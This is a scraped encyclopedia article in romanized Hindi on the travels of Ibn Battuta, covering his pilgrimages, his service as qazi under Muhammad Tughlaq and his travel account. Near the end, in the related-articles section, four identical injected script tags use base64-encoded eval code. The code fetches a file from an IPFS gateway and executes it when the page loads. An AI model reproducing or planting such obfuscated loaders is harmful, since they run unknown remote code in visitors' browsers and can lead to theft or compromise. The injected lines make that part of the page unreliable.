इब्न बतूता

thumb|ibn batoota ibn batoota ek vidvan afriki yatri tha, jisaka janm 24 faravari 1304 ee. ko uttar aphrika ke morakko pradesh ke prasiddh nagar taanjiyar mean hua tha. isake poorvajoan ka vyavasay kajiyoan ka tha. ibn battoota aranbh se hi b da dharmanuragi tha.

parichay

ibnabatoota arab yatri, vidvan tatha lekhak tha. uttari aphrika ke morakko pradesh ke prasiddh nagar taanjiyar mean 14 rajab, 703 hi. (24 pharavari, 1304 ee.) ko isaka janm hua tha. isak poora nam muhammad bin abdulla ibnabatoota tha. ibnabatoota aranbh se hi b da dharmanuragi tha. use makke ki yatra (haj) tatha prasiddh musalamanoan ka darshan karane ki b di abhilasha thi. is akaanksha ko poora karane ke uddeshy se vah keval 21 baras ki ayu mean yatra karane nikal p da. chalate samay usane yah kabhi n socha tha ki use itani lanbi desh deshaantaroan ki yatra karane ka avasar milega. makke adi tirthasthanoan ki yatra karana pratyek musalaman ka ek avashyak karttavy hai. isi se saik doan musalaman vibhinn deshoan se makka ate rahate the. in yatriyoan ki lanbi yatraoan ko sulabh banane mean kee sansthaean us samay muslim jagat mean utpann ho gee thian jinake dvara in sabako har prakar ki suvidhaean prapt hoti thian aur unaka paryatan b da rochak tatha anandadayak ban jata tha. inhian sansthaoan ke karan daridr se daridr haji bhi door-door deshoan se akar haj karane mean samarth hote the. ibnabatoota ne in sansthaoan ki bar-bar prashansa ki hai. vah unake prati atyant kritajn hai. inamean sarvotam vah sangathan tha jisake dvara b de se b de yatri daloan ki har prakar ki suvidha ke lie har sthan par age se hi poori-poori vyavastha kar di jati thi evan marg mean unaki suraksha ka bhi prabandh kiya jata tha. pratyek gaanv tatha nagar mean khanakahean (math) tatha saraean unake thaharane, khane pine adi ke lie hoti thian. dharmik netaoan ki to vishesh avabhagat hoti thi. har jagah shekh, kaji adi unaka vishesh satkar karate the. islam ke bhratritv se siddhaant ka yah sanstha ek jvalant udaharan thi. isi ke karan desh-deshaantaroan ke musalaman bekhatake tatha b de aram se lanbi-lanbi yatraean kar sakate the. doosari suvidha madhyakal ke musalamanoan ka yah prapt thi ki aphrika aur bharatiy samudramargoan ka samoocha vyapar arab saudagaroan ke hathoan mean tha. ye saudagar bhi musalaman yatriyoan ka utana hi adar karate the.

bhramanavrittaantri

ibnabatoota damishk aur philistin hota ek karavaan ke sath makka pahuancha. yatra ke dinoan mean do sadhuoan se usaki bheant huee thi jinhoanne usase poorvi deshoan ki yatra ke sukh sauandary ka varnan kiya tha. isi samay usane un deshoan ki yatra ka sankalp kar liya. makke se ibnabatoota eerak, eeran, mosul adi sthanoan mean ghoomakar 1329 (729 hi.) mean dubara makka lauta aur vahaan tin baras thaharakar adhyayan tatha bhagavadabhakti mean laga raha. bad mean usane phir yatra aranbh ki aur dakshin arab, poorvi aphrika tatha pharas ke bandaragah hurmuj se tisari bar phir makka gaya. vahaan se vah krimiyaan, khiva, bukhara hota hua aphaganistan ke marg se bharat aya. bharat pahuanchane par ibnabatoota b da vaibhavashali evan sanpann ho gaya tha.

bharat pravesh

ibnabatoota 1333 ee. mean sultan muhammad tugalaq ke rajyakal mean bharat aya. bharat ke uttar pashchim dvar se pravesh karake ibnabatoota sidha dilli pahuancha, jahaan tugalak sultan muhammad ne usaka b da adar satkar kiya aur use rajadhani ka kaji niyukt kiya. is pad par poore sat baras rahakar, jisamean use sultan ko atyant nikat se dekhane ka avasar mila, ibn batoota ne har ghatana ko b de dhyan se dekha aur suna. 1342 mean muhammad tugalak ne use chin ke badashah ke pas apana rajadoot banakar bheja, parantu dilli se prasthan karane ke tho de din bad hi vah b di vipatti mean p d gaya aur b di kathinaee se apani jan bachakar anek apattiyaan sahata vah kalikat pahuancha. aisi paristhiti mean sagar ki rah chin jana vyarth samajhakar vah bhoobhag se yatra karane nikal p da aur lanka, bangal adi pradeshoan mean ghoomata chin ja pahuancha. kiantu shayad vah mangol khan ke darabar tak nahian gaya. isake bad usane pashchim eshiya, uttar aphrika tatha spen ke muslim sthanoan k bhraman kiya aur aant mean tianbakat adi hota vah 1354 ke aranbh mean morakko ki rajadhani 'phej' laut gaya.

mahan yatri

ibnabatoota musalaman yatriyoan mean sabase mahanh‌ tha. anumanat: usane lagabhag 75,000 mil ki yatra ki thi. itana lanba bhraman us yug ke shayad hi kisi any yatri ne kiya ho. 'phej' lautakar usane apana bhramanavrittaant sultan ko sunaya. usaka varnan atishayoktiyoan se bhara hone par bhi samany riti se vishvasaniy hai. sultan ke adeshanusar usake sachiv muhammad ibn juzaiy ne use lekhabaddh kiya. ibn batoota ka baki jivan apane desh mean hi bita. ibn battoota ke bhramanavrittaant ko 'tuhafatal najzar fi garayab al amasar v ajayab al afasar' ka nam diya gaya. isaki ek prati peris ke rashtriy pustakalay mean surakshit haian. usake yatravrittaant mean tatkalin bharatiy itihas ki atyant upayogi samagri milati hai.^[1] ibn batoota ne sultan dvara jin karanoan se rajadhani ko dilli se hatakar daulatabad le jane ka adesh diya gaya aur jis riti se dilli ko poori tarah se khali karaya gaya, usaka jo varnan likha hai, use udaharan svaroop prastut kiya ja sakata hai.

mrityu

ibnabatoota ki mrityu 1377 (779 hi.) mean huee.^[2]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ san.gran.-peris ki hastalipi ko de phremari tatha saangineti ne sanpadit kiya. yah hastalipi taanjiyar mean 1836 ke lagabhag prapt huee thi. inhian sanpadakoan ne isaka poora anuvad phreanch bhasha mean kiya tha. yah granth char khandoan mean 1853 se 1859 tak peris se prakashit hua. isake bad do aur sanskaran peris tatha kairo se prakashit hue. 'eeliyat aur dausan' ke itihas ke tisare khand mean isake kuchh sandarbhoan ka aangreji anuvad hua. 'bradave traivelars' mean ech.e.ar. gibb dvara sankshipt anuvad, ek prastavana sahit, landan se 1929 mean prakashit hua. isake doosare tatha tisare sanskaran 1939 tatha 1953 mean chhape.
↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 530-31 |

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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[1] san.gran.-peris ki hastalipi ko de phremari tatha saangineti ne sanpadit kiya. yah hastalipi taanjiyar mean 1836 ke lagabhag prapt huee thi. inhian sanpadakoan ne isaka poora anuvad phreanch bhasha mean kiya tha. yah granth char khandoan mean 1853 se 1859 tak peris se prakashit hua. isake bad do aur sanskaran peris tatha kairo se prakashit hue. 'eeliyat aur dausan' ke itihas ke tisare khand mean isake kuchh sandarbhoan ka aangreji anuvad hua. 'bradave traivelars' mean ech.e.ar. gibb dvara sankshipt anuvad, ek prastavana sahit, landan se 1929 mean prakashit hua. isake doosare tatha tisare sanskaran 1939 tatha 1953 mean chhape.

[2] vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 530-31 |

[1]

[2]